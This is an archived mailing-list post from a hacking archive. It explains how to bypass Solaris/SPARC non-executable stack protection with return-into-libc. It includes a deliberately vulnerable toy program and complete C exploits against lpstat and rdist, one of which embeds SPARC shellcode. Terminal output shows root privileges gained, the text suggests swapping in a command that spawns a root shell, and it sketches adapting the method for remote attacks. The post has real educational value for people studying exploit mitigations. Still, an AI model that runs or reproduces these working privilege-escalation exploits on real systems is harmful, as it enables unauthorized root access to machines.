home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / stack.txt < prev   
Encoding:
Text File  |  2000-12-24  |  25.9 KB  |  752 lines

  1.         Defeating Solaris/SPARC Non-Executable Stack Protection
  2.                   By Horizon
  3.  
  4. Hi,
  5.  
  6. I've recently been playing around with bypassing the non-executable stack
  7. protection that Solaris 2.6 provides. I'm referring to the mechanism that you
  8. control with the noexec_user_stack option in /etc/system. I've found it's
  9. quite possible to bypass this protection, using methods described previously
  10. on this list. Specifically, I have had success in adapting the return into
  11. libc methods introduced by Solar Designer and Nergal to Solaris/SPARC.
  12.  
  13. I've included some sample code in this email, including an exploit for rdist,
  14. and an exploit for lpstat. These exploits should work on machines with the
  15. stack protection enabled, though they may require some groundwork before being
  16. used. Neither of these programs exploit a new bug, so the appropriate fixes
  17. for these holes should work fine.
  18.  
  19. First of all, I'd like to thank stranJer, Solar Designer, duke and the
  20. various inhabitants of #!adm for reviewing this for me and providing a lot
  21. of valuable input.
  22.  
  23. Ok.. it's important to have a general understanding of how the stack is
  24. layed out under SPARC/Solaris. There are several good references on the net
  25. for this information, so I will try to keep this brief..
  26.  
  27. The stack frame looks roughly like this (to the best of my knowledge):
  28.  
  29. Stack inside the body of a function (after save)
  30. ================================================
  31.  
  32. Higher addresses
  33. ----------------
  34. %fp+92->any incoming args beyond 6  (possible)
  35. %fp+68->room for us to store copies of the incoming arguments
  36. %fp+64->pointer to where we can place our return value if necessary
  37. %fp+32->saved %i0-%i7
  38. %fp---->saved %l0-%l7
  39. %fp---->(previous top of stack)
  40.         *space for automatic variables*
  41.         possible room for temporaries and padding for 8 byte alignment
  42. %sp+92->possible room for outgoing parameters past 6
  43. %sp+68->room for next function to store our outgoing arguments (6 words)
  44. %sp+64->pointer to room for the return value of the next function
  45. %sp+32->saved %o0-%o7 / room for next non-leaf function to save %i0-%i7
  46. %sp---->room for next non-leaf function to save %l0-%l7
  47. %sp---->(top of stack)
  48. ---------------
  49. Lower addresses
  50.  
  51. So, from the top of the stack, looking up, we have room for the next function
  52. to save our %l and %i registers. A copy of the arguments given to us by the
  53. previous function (the %o0-o7 registers) are saved at %sp + 0x10. None of the
  54. resources I've seen on the web document this, but inspection in gdb shows that
  55. this is the case.
  56.  
  57. Next, there is a one word pointer to memory where a function we call can place
  58. it's return value. Typically, we can expect the return value to be in %o0, but
  59. it is possible for a function to return something that can't fit in a register
  60. (such as a structure). In this case, we place the address of the memory where
  61. we want the return value to be placed into this location before calling the
  62. function. The return value is placed in that memory, and the address of that
  63. memory is also returned in %o0.
  64.  
  65. Next, we have 6 words reserved for the next function to be able to store the
  66. arguments we pass to it through the registers. Some of the sites on the web
  67. indicate that this is necessary in case the called function needs to be able
  68. to take the address of one of it's incoming parameters (you can't take the
  69. address of a register).
  70.  
  71. Next on the stack, there is temporary storage and padding for alignment. The
  72. stack pointer has to be aligned on an 8 byte boundary. Our automatic variables
  73. are saved on the stack next. From within this function, we can address the
  74. automatic variables relative to %fp (%fp - something).
  75.  
  76. If we perform an overflow of an automatic variable, we are going to overwrite
  77. the saved %i and %l values of the function that called the function with
  78. the automatic variable. When the function with the automatic variable returns,
  79. it will return into the caller, because it has the return address stored in
  80. it's %i7 register. Then, the restore instruction will move the contents of the
  81. %i registers into the %o registers. Our bogus values for %l and %i will then
  82. be read from the stack into the registers. On the next return from a function,
  83. the program will return into the address we put at %i7's place on the stack
  84. frame. This explains why you need two returns to perform a classic buffer
  85. overflow.
  86.  
  87. Moving on.. In this email, I'm presenting three different variations on the
  88. return into libc method. The first one I demonstrate with a 'fake' bug. This
  89. is our vulnerable program:
  90.  
  91. ---hole.c---
  92. int jim(char *str)
  93. {
  94.    char buf[256];
  95.    strcpy(buf,str);
  96. }
  97.  
  98. int main(int argc, char **argv)
  99. {
  100.    jim(argv[1]);
  101. }
  102. ------------
  103.  
  104. hole.c is an extremely simple program with an obvious stack buffer overflow.
  105.  
  106. If we wrote a typical program to exploit this, it would follow this flow:
  107.  
  108. 1. The program would proceed to the strcpy..
  109. 2. The strcpy will overwrite the saved %i and %l registers in main's stack
  110.    frame.
  111. 3. The jim function will do a restore, and increment the CWP. This will result
  112.    in our overflowed values being put into the %i and %l registers. It will
  113.    'ret' into main.
  114. 4. The main function will then do a ret/restore. The ret instruction will read
  115.    our provided %i7, and transfer the flow of control to it. The CWP will again
  116.    be incremented, And our bogus %i registers will become the %o registers.
  117.  
  118. A typical exploit would return into shellcode on the stack at this point,
  119. which would do it's thing with basically no regard for what is in the
  120. registers. However, with the stack protections in place, this behavior will
  121. cause the processor to fault upon attempting to execute code on a page where
  122. it is not permitted.
  123.  
  124. To get around this, we wish to have our program return into a libc call. For
  125. this exploit, I've chosen system(). system() is easy because it only takes one
  126. argument. When we enter the code for system(), we expect it's arguments to be
  127. in %o0-%o7. Then, the system function will do the save instruction, and move
  128. the arguments into the %i0-%i7 registers. Getting our arguments into system()
  129. in the %o0-%o7 registers is somewhat easy to accomplish. Remember that the
  130. first ret/restore will pull our values off of the stack into the %l and %i
  131. registers. Thus, we can put any values we want into these registers when we
  132. overflow the stack based variable. The second ret/restore will move whats in
  133. the %i0-%i7 registers into the %o0-%o7 registers, and jump to what we had in
  134. the %i7 register. So, we can put the address of system() in our saved %i7, and
  135. the program's execution will resume there. So, when the program enters
  136. system(), the first instruction it will execute is a 'save'. This will move
  137. the values in %o0-%o7 back into %i0-%i7. Let's look at the exploit:
  138.  
  139. ---exhole.c---
  140. /*
  141.    example return into libc exploit for fake vulnerability in './hole'
  142.    by horizon <jmcdonal@unf.edu>
  143.  
  144.    to compile:
  145.  
  146.    gcc exhole.c -o exhole -lc -ldl
  147. */
  148.  
  149. #include <stdio.h>
  150. #include <dlfcn.h>
  151. #include <signal.h>
  152. #include <setjmp.h>
  153.  
  154. int step;
  155. jmp_buf env;
  156.  
  157. void fault()
  158. {
  159.    if (step<0)
  160.       longjmp(env,1);
  161.    else
  162.    {
  163.       printf("Couldn't find /bin/sh at a good place in libc.\n");
  164.       exit(1);
  165.    }
  166. }
  167.  
  168. int main(int argc, char **argv)
  169. {
  170.    void *handle;
  171.    long systemaddr;
  172.    long shell;
  173.  
  174.    char examp[512];
  175.    char *args[3];
  176.    char *envs[1];
  177.  
  178.    long *lp;
  179.  
  180.    if (!(handle=dlopen(NULL,RTLD_LAZY)))
  181.    {
  182.       fprintf(stderr,"Can't dlopen myself.\n");
  183.       exit(1);
  184.    }
  185.  
  186.    if ((systemaddr=(long)dlsym(handle,"system"))==NULL)
  187.    {
  188.       fprintf(stderr,"Can't find system().\n");
  189.       exit(1);
  190.    }
  191.  
  192.    systemaddr-=8;
  193.  
  194.    if (!(systemaddr & 0xff) || !(systemaddr * 0xff00) ||
  195.       !(systemaddr & 0xff0000) || !(systemaddr & 0xff000000))
  196.    {
  197.       fprintf(stderr,"the address of system() contains a '0'. sorry.\n");
  198.       exit(1);
  199.    }
  200.  
  201.    printf("System found at %lx\n",systemaddr);
  202.  
  203.    /* let's search for /bin/sh in libc - from SD's original linux exploits */
  204.  
  205.    if (setjmp(env))
  206.       step=1;
  207.    else
  208.       step=-1;
  209.  
  210.    shell=systemaddr;
  211.  
  212.    signal(SIGSEGV,fault);
  213.  
  214.    do
  215.       while (memcmp((void *)shell, "/bin/sh", 8)) shell+=step;
  216.    while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000)
  217.          || !(shell & 0xff000000));
  218.  
  219.    printf("/bin/sh found at %lx\n",shell);
  220.  
  221.    /* our buffer */
  222.    memset(examp,'A',256);
  223.    lp=(long *)&(examp[256]);
  224.  
  225.    /* junk */
  226.    *lp++=0xdeadbe01;
  227.    *lp++=0xdeadbe02;
  228.    *lp++=0xdeadbe03;
  229.    *lp++=0xdeadbe04;
  230.  
  231.    /* the saved %l registers */
  232.    *lp++=0xdeadbe10;
  233.    *lp++=0xdeadbe11;
  234.    *lp++=0xdeadbe12;
  235.    *lp++=0xdeadbe13;
  236.    *lp++=0xdeadbe14;
  237.    *lp++=0xdeadbe15;
  238.    *lp++=0xdeadbe16;
  239.    *lp++=0xdeadbe17;
  240.  
  241.    /* the saved %i registers */
  242.  
  243.    *lp++=shell;
  244.    *lp++=0xdeadbe11;
  245.    *lp++=0xdeadbe12;
  246.    *lp++=0xdeadbe13;
  247.    *lp++=0xdeadbe14;
  248.    *lp++=0xdeadbe15;
  249.  
  250.    *lp++=0xeffffbc8;
  251.  
  252.    /* the address of system  ( -8 )*/
  253.    *lp++=systemaddr;
  254.  
  255.    *lp++=0x0;
  256.  
  257.    args[0]="hole";
  258.    args[1]=examp;
  259.    args[2]=NULL;
  260.  
  261.    envs[0]=NULL;
  262.  
  263.    execve("./hole",args,envs);
  264. }
  265. --------------
  266.  
  267. As you can see, the layout of the stack past the buffer has been mapped. This
  268. is easy to do using marker values and gdb. The first thing this exploit does
  269. is find the address of system() in libc. It does this using the dlopen() and
  270. dlsym() functions. If the exploit is linked exactly the same as the target
  271. executable, then we will be able to predict where libc will be mapped in the
  272. target. The exploit then finds a copy of the string '/bin/sh' in libc. It does
  273. this by searching through the memory around system(). This is almost the exact
  274. same code presented in Solar Designer's original return-into-libc exploit.
  275.  
  276. In this exploit, %i0 is set to the address of the string '/bin/sh' in libc.
  277. %i6 (the frame pointer) is set to 0xeffffbc8. This is just a place in the stack
  278. that system() can use as it's stack. system() will look into the registers
  279. for it's arguments, so we don't really care what is on the stack, as long as
  280. system() can safely write to it. %i7 (our return address) is set to the
  281. address we found for system(). Note that this is actually the address we wish
  282. to go to minus 8, because the ret instruction will add 8 to the saved %fp.
  283. (in order to skip the call instruction and it's delay slot).
  284.  
  285. So, does it work?
  286.  
  287. bash-2.02$ gcc exhole.c -o exhole -lc -ldl
  288. bash-2.02$ ./exhole
  289. System found at ef768a84
  290. /bin/sh found at ef790378
  291. $
  292.  
  293. yup. :>
  294.  
  295. As you might expect, things don't go quite so smoothly when we attempt this
  296. technique in a live exploit. I have chosen lpstat as my next target.
  297.  
  298. The first problem you will run into is that the program will modify the %i
  299. registers after the first return. This happened in both the lpstat and rdist
  300. exploits. This problem requires us to extend our technique to be more
  301. powerful.
  302.  
  303. What I do in the lpstat exploit is create a fake stack frame in the env space.
  304. Then, I put it's address in our saved %fp. Then, instead of returning into the
  305. system() function, I return into system()+4, bypassing the save instruction.
  306.  
  307. So, what does all this do? Well, our values get loaded into the %l0-l7 and
  308. %i0-%i7 registers after the first ret/restore. The next ret/restore moves
  309. our values into %o0-%o7, and jumps to our saved %i7. This *also* loads in the
  310. %i0-%i7 and %l0-%l7 registers from the stack. So, when we specify a saved %fp,
  311. and we hit the second restore, the processor assumes our %fp was it's old %sp,
  312. and loads the %l and %i registers from the stack frame at %fp. This means
  313. that we can specify what we want the %l and %i registers to contain upon
  314. entering wherever it is that we return into.
  315.  
  316. We skip the 'save' instruction, because that would move the %o0-%o7 back to the
  317. %i0-%i7 registers, and overwrite our malicious values.
  318.  
  319. Having solved that, we stumble onto our second problem: the system() function
  320. uses /bin/sh -c to execute it's argument. Under Solaris, /bin/sh will drop it's
  321. privileges if it is run with a non-zero ruid, and an euid of zero.
  322. The obvious solution to this is to try to do a setuid(0) before we run system.
  323.  
  324. So, we need to find a way to chain functions together.. i.e. to return into
  325. one function, and have it return into another. It is important to note that
  326. there are two kinds of functions: leaf and non-leaf functions. The leaf
  327. functions do not use any stack space to do their work, and do not call any
  328. other functions. Thus, they don't need to use the 'save' instruction to set up
  329. a stack frame. They operate using the registers in %o0-%o7 as their arguments.
  330. When a leaf function is done, it returns by jumping to the address it has in
  331. %o7. The non-leaf functions are ones that require a stack frame, and they use
  332. the 'save', 'ret', and 'restore' instructions.
  333.  
  334. We can chain non-leaf functions together by making a fake stack frame for
  335. every function that we need to return into, and placing the address of the
  336. next function into the %i7 position on the fake stack frame. This works
  337. because we skip the save instruction, which allows us to keep feeding in
  338. fake stack frame information, and specfying the %i and %l registers for each
  339. function we enter.
  340.  
  341. However, there is a limitation of our return into libc method: We can't
  342. return into a leaf function, unless it is the last function we return into.
  343. A leaf function does not do a save or restore, it simply assumes it's
  344. arguments are in the %o0-%o7 registers. It returns by doing a retl, which
  345. jumps to %o7. The problem is that if we return into a leaf function, the
  346. address of that leaf function will be in %o7. Thus, when the leaf function
  347. tries to return, it will jump back to itself, causing an infinite loop. We
  348. can't get a leaf function to return into another function because it doesn't
  349. use the ret/restore sequence to return. Thus, even though we can control what
  350. values are in the %i and %l registers, the leaf function will not use these
  351. values for arguments or the return address.
  352.  
  353. So, for a solution here, we simply return into execl(). This takes very similar
  354. arguments to system, except that we need to have a NULL argument to terminate
  355. the list of arguments. This is easy to do since we are passing in our fake
  356. stack frame through the env space.
  357.  
  358. Here is the lpstat exploit:
  359.  
  360. ---lpstatex.c---
  361. /*
  362.    lpstat exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>
  363.  
  364.    This demonstrates the return into libc technique for bypassing stack
  365.    execution protection. This requires some preliminary knowledge for use.
  366.  
  367.    to compile:
  368.  
  369.    gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -lxfn -lmp -lC
  370. */
  371.  
  372. #include <stdio.h>
  373. #include <stdlib.h>
  374. #include <sys/types.h>
  375. #include <sys/systeminfo.h>
  376. #include <unistd.h>
  377. #include <dlfcn.h>
  378.  
  379. #define BUF_LENGTH 1024
  380.  
  381. int main(int argc, char *argv[])
  382. {
  383.    char buf[BUF_LENGTH * 2];
  384.    char teststring[BUF_LENGTH * 2];
  385.    char *env[10];
  386.    char fakeframe[512];
  387.    char padding[64];
  388.    char platform[256];
  389.  
  390.    void *handle;
  391.    long execl_addr;
  392.  
  393.    u_char *char_p;
  394.    u_long *long_p;
  395.    int i;
  396.    int pad=31;
  397.  
  398.    if (argc==2) pad+=atoi(argv[1]);
  399.  
  400.    if (!(handle=dlopen(NULL,RTLD_LAZY)))
  401.    {
  402.       fprintf(stderr,"Can't dlopen myself.\n");
  403.       exit(1);
  404.    }
  405.  
  406.    if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
  407.    {
  408.       fprintf(stderr,"Can't find execl().\n");
  409.       exit(1);
  410.    }
  411.  
  412.    execl_addr-=4;
  413.  
  414.    if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
  415.       !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
  416.    {
  417.       fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
  418.       exit(1);
  419.    }
  420.  
  421.    printf("found execl() at %lx\n",execl_addr);
  422.  
  423.    char_p=buf;
  424.  
  425.    memset(char_p,'A',BUF_LENGTH);
  426.  
  427.    long_p=(unsigned long *) (char_p+1024);
  428.  
  429.    *long_p++=0xdeadbeef;
  430.  
  431.    /* Here is the saved %i0-%i7 */
  432.  
  433.    *long_p++=0xdeadbeef;
  434.    *long_p++=0xdeadbeef;
  435.    *long_p++=0xdeadbeef;
  436.    *long_p++=0xdeadbeef;
  437.    *long_p++=0xdeadbeef;
  438.    *long_p++=0xdeadbeef;
  439.    *long_p++=0xeffffb68; // our fake stack frame
  440.    *long_p++=execl_addr;      // we return into execl() in libc
  441.    *long_p++=0;
  442.  
  443.    /* now we set up our fake stack frame in env */
  444.  
  445.    long_p=(long *)fakeframe;
  446.  
  447.    *long_p++=0xdeadbeef; // we don't care about locals
  448.    *long_p++=0xdeadbeef;
  449.    *long_p++=0xdeadbeef;
  450.    *long_p++=0xdeadbeef;
  451.    *long_p++=0xdeadbeef;
  452.    *long_p++=0xdeadbeef;
  453.    *long_p++=0xdeadbeef;
  454.    *long_p++=0xdeadbeef;
  455.  
  456.    *long_p++=0xefffffac; // points to our string to exec
  457.    *long_p++=0xefffffac; // argv[1] is a copy of argv[0]
  458.    *long_p++=0x0;        // NULL for execl();
  459.    *long_p++=0xefffffcc;
  460.    *long_p++=0xeffffd18;
  461.    *long_p++=0xeffffd18;
  462.    *long_p++=0xeffffd18; // this just has to be somewhere it can work with
  463.    *long_p++=0x11111111; // doesn't matter b/c we exec
  464.    *long_p++=0x0;
  465.  
  466.    /* This gives us some padding to play with */
  467.  
  468.    memset(teststring,'A',BUF_LENGTH);
  469.    teststring[BUF_LENGTH]=0;
  470.  
  471.    sysinfo(SI_PLATFORM,platform,256);
  472.  
  473.    pad+=20-strlen(platform);
  474.  
  475.    for (i=0;i<pad;padding[i++]='C')
  476.       padding[i]=0;
  477.  
  478.    env[0]="";
  479.    env[1]=(fakeframe);
  480.    env[2]=&(fakeframe[40]);
  481.    env[3]=&(fakeframe[40]);
  482.    env[4]=&(fakeframe[40]);
  483.    env[5]=&(fakeframe[44]);
  484.    env[6]=teststring;
  485.    env[7]="A=/bin/id";
  486.    env[8]=padding;
  487.    env[9]=NULL;
  488.  
  489.    execle("/usr/bin/lpstat","lpstat","-c",buf,(char *)0,env);
  490.    perror("execle failed");
  491. }
  492. ----------------
  493.  
  494. Looking at this exploit, you can see how we build a fake stack frame in env,
  495. and have the program we are exploiting read it in. We return into execl(),
  496. just past the 'save', and it uses the arguments we provide in %i0-%i7. Also,
  497. note that we pass in the command we want to run through the environment, as
  498. opposed to searching for it in libc.
  499.  
  500. Here's what it looks like:
  501.  
  502. bash-2.02$ gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -lxfn -lmp -lC
  503. bash-2.02$ ./lpstatex
  504. found execl() at ef6e93a4
  505.  
  506. UX:lpstat: ERROR: Class
  507. ...
  508. (lpstat spews for a while)
  509. ...
  510.                   ñ" does not exist.
  511.           TO FIX: Use the "lpstat -c all" command to list
  512.                   all known classes.
  513. uid=120(jmcdonal) gid=15(develop) euid=0(root)
  514. bash-2.02$
  515.  
  516. In the exploit, we ran /bin/id, which you see here. If you are so inclined, you
  517. can easily change it to run something like /tmp/aa, which will give you the
  518. appropriate permissions and exec a shell.
  519.  
  520. So, this works pretty well. However, we still have a big problem with our
  521. technique: it is impossible to return into a leaf function before returning
  522. into any other function. This unfortunately means we cant return into setuid()
  523. or seteuid() to restore our privileges before exec'ing something. There are a
  524. few options in overcoming this problem, but I have choosen a fairly simple
  525. one...
  526.  
  527. We will return into a strcpy, which will copy our shellcode from the env space,
  528. into somewhere where it is safe to run it. We will then have that strcpy
  529. return into our shellcode. This exploit is very similar to the previous one,
  530. with the exception that we are doing a second return.
  531.  
  532. Here is the exploit:
  533. ---rdistex.c---
  534. /*
  535.    rdist exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>
  536.  
  537.    This demonstrates the return into libc technique for bypassing stack
  538.    execution protection. This requires some preliminary knowledge for use.
  539.  
  540.    to compile:
  541.  
  542.    gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
  543. */
  544.  
  545. #include <stdio.h>
  546. #include <stdlib.h>
  547. #include <sys/types.h>
  548. #include <sys/systeminfo.h>
  549. #include <unistd.h>
  550. #include <dlfcn.h>
  551.  
  552. u_char sparc_shellcode[] =
  553. "\xAA\xAA\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
  554. "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
  555. "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  556. "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
  557. "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  558. "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  559. "\x91\xd0\x20\x08\xAA";
  560.  
  561. #define BUF_LENGTH 1024
  562.  
  563. int main(int argc, char *argv[])
  564. {
  565.    char buf[BUF_LENGTH * 2];
  566.    char tempbuf[BUF_LENGTH * 2];
  567.    char teststring[BUF_LENGTH * 2];
  568.    char padding[128];
  569.    char *env[10];
  570.    char fakeframe[512];
  571.    char platform[256];
  572.  
  573.    void *handle;
  574.    long strcpy_addr;
  575.    long dest_addr;
  576.  
  577.    u_char *char_p;
  578.    u_long *long_p;
  579.    int i;
  580.    int pad=25;
  581.  
  582.    if (argc==2) pad+=atoi(argv[1]);
  583.  
  584.    char_p=buf;
  585.  
  586.    if (!(handle=dlopen(NULL,RTLD_LAZY)))
  587.    {
  588.       fprintf(stderr,"Can't dlopen myself.\n");
  589.       exit(1);
  590.    }
  591.  
  592.    if ((strcpy_addr=(long)dlsym(handle,"strcpy"))==NULL)
  593.    {
  594.       fprintf(stderr,"Can't find strcpy().\n");
  595.       exit(1);
  596.    }
  597.  
  598.    strcpy_addr-=4;
  599.  
  600.    if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) ||
  601.       !(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000))
  602.    {
  603.       fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n");
  604.       exit(1);
  605.    }
  606.  
  607.    printf("found strcpy() at %lx\n",strcpy_addr);
  608.  
  609.    if ((dest_addr=(long)dlsym(handle,"accept"))==NULL)
  610.    {
  611.       fprintf(stderr,"Can't find accept().\n");
  612.       exit(1);
  613.    }
  614.  
  615.    dest_addr=dest_addr & 0xffff0000;
  616.    dest_addr+=0x1800c;
  617.  
  618.    if (!(dest_addr & 0xff) || !(dest_addr & 0xff00) ||
  619.       !(dest_addr & 0xff0000) || !(dest_addr & 0xff000000))
  620.    {
  621.       fprintf(stderr,"the destination address contains a '0'. sorry.\n");
  622.       exit(1);
  623.    }
  624.  
  625.    printf("found shellcode destination at %lx\n",dest_addr);
  626.  
  627.    /* hi sygma! */
  628.  
  629.    memset(char_p,'A',BUF_LENGTH);
  630.  
  631.    long_p=(unsigned long *) (char_p+1024);
  632.  
  633.    /* We don't care about the %l registers */
  634.  
  635.    *long_p++=0xdeadbeef;
  636.    *long_p++=0xdeadbeef;
  637.    *long_p++=0xdeadbeef;
  638.    *long_p++=0xdeadbeef;
  639.    *long_p++=0xdeadbeef;
  640.    *long_p++=0xdeadbeef;
  641.    *long_p++=0xdeadbeef;
  642.    *long_p++=0xdeadbeef;
  643.  
  644.    /* Here is the saved %i0-%i7 */
  645.  
  646.    *long_p++=0xdeadbeef;
  647.    *long_p++=0xefffd378; // safe value for dereferencing
  648.    *long_p++=0xefffd378; // safe value for dereferencing
  649.    *long_p++=0xdeadbeef;
  650.    *long_p++=0xdeadbeef;
  651.    *long_p++=0xdeadbeef;
  652.    *long_p++=0xeffffb78; // This is where our fake frame lives
  653.    *long_p++=strcpy_addr; // We return into strcpy
  654.    *long_p++=0;
  655.  
  656.    long_p=(long *)fakeframe;
  657.    *long_p++=0xAAAAAAAA; // garbage
  658.    *long_p++=0xdeadbeef; // %l0
  659.    *long_p++=0xdeadbeef; // %l1
  660.    *long_p++=0xdeadbeaf; // %l2
  661.    *long_p++=0xdeadbeef; // %l3
  662.    *long_p++=0xdeadbeaf; // %l4
  663.    *long_p++=0xdeadbeef; // %l5
  664.    *long_p++=0xdeadbeaf; // %l6
  665.    *long_p++=0xdeadbeef; // %l7
  666.    *long_p++=dest_addr; // %i0 - our destination (i just picked somewhere)
  667.    *long_p++=0xeffffb18; // %i1 - our source
  668.    *long_p++=0xdeadbeef;
  669.    *long_p++=0xdeadbeef;
  670.    *long_p++=0xdeadbeef;
  671.    *long_p++=0xdeadbeef;
  672.    *long_p++=0xeffffd18; // %fp - just has to be somewhere strcpy can use
  673.    *long_p++=dest_addr-8; // %i7 - return into our shellcode
  674.    *long_p++=0;
  675.  
  676.    sprintf(tempbuf,"blh=%s",buf);
  677.  
  678.    /* This gives us some padding to play with */
  679.  
  680.    memset(teststring,'B',BUF_LENGTH);
  681.    teststring[BUF_LENGTH]=0;
  682.  
  683.    sysinfo(SI_PLATFORM,platform,256);
  684.  
  685.    pad+=21-strlen(platform);
  686.    for (i=0;i<pad;padding[i++]='A')
  687.       padding[i]=0;
  688.  
  689.    env[0]=sparc_shellcode;
  690.    env[1]=&(fakeframe[2]);
  691.    env[2]=teststring;
  692.    env[3]=padding;
  693.    env[4]=NULL;
  694.  
  695.    execle("/usr/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${blh}",
  696.       (char *)0,env);
  697.    perror("execl failed");
  698. }
  699. ---------------
  700.  
  701. This technique seems to work well:
  702.  
  703. bash-2.02$ gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
  704. bash-2.02$ ./rdistex
  705. found strcpy() at ef62427c
  706. found shellcode destination at ef7a800c
  707. rdist: line 1: Pathname too long
  708. ...
  709. rdist: line 1: Pathname too long
  710. #
  711.  
  712. These exploits require a high degree of precision. I've tried to take out most
  713. of the guesswork, but there are two things that might cause the exploits to
  714. fail. The lpstat and rdist exploits expect certain things to be in the
  715. environment at exact locations. We use the execle function, specifying the
  716. entire environment, so you wouldn't think this would be a problem. However,
  717. Solaris 2.6 puts two things at the very top of the environment space:
  718. the name of the program that is being run, and the platform of the machine.
  719. I have attempted to take this into account in the two exploits, but have only
  720. been able to test on two different platforms. Thus, you might need to adjust
  721. the 'pad' variable if the exploits do not seem to be working. You can adjust
  722. this value via the command line. It's probably best to try increments of 4.
  723.  
  724. Also, there is a bit of a guess in the rdist exploit as to where to place the
  725. shellcode in libc. The exploit gets the address of a symbol in libsocket, then
  726. bitwise ands it with 0xffff0000 and then adds 0x1800c. The point of this is
  727. to guess at where the section for libsocket's data will be mapped. If this is
  728. a problem, then you can use /usr/proc/bin/pmap along with gdb to figure out a
  729. good address to store the shellcode in.
  730.  
  731. Hopefully, these exploits demonstrate that it is important to make sure that
  732. programs that run at an elevated privilege are free of buffer overflow bugs.
  733. The stack protection will certainly help protect you from the majority of
  734. intruders, but moderately competent intruders will probably be able to bypass
  735. it.
  736.  
  737. I believe that these techniques could be adopted for use in a remote exploit.
  738. Assuming we go with the strcpy technique, the attacker would need to do
  739. several things. First of all, the attacker would need to put the fake stack
  740. frame somewhere in the buffer that was overflowed. Then the attacker would
  741. have to make educated guesses at a few things. These would be: the location
  742. that strcpy() is mapped at, a safe location to store the shellcode, and the
  743. location of the fake stack frame. You could make pretty educated guesses at all
  744. of these, so it might only require a small number of tries. Of course, the
  745. added time and interaction that this would involve certainly makes the stack
  746. protection useful.
  747.  
  748. I welcome any comments or criticisms about this post.
  749.  
  750. Thanks,
  751. horizon <jmcdonal@unf.edu> 
  752.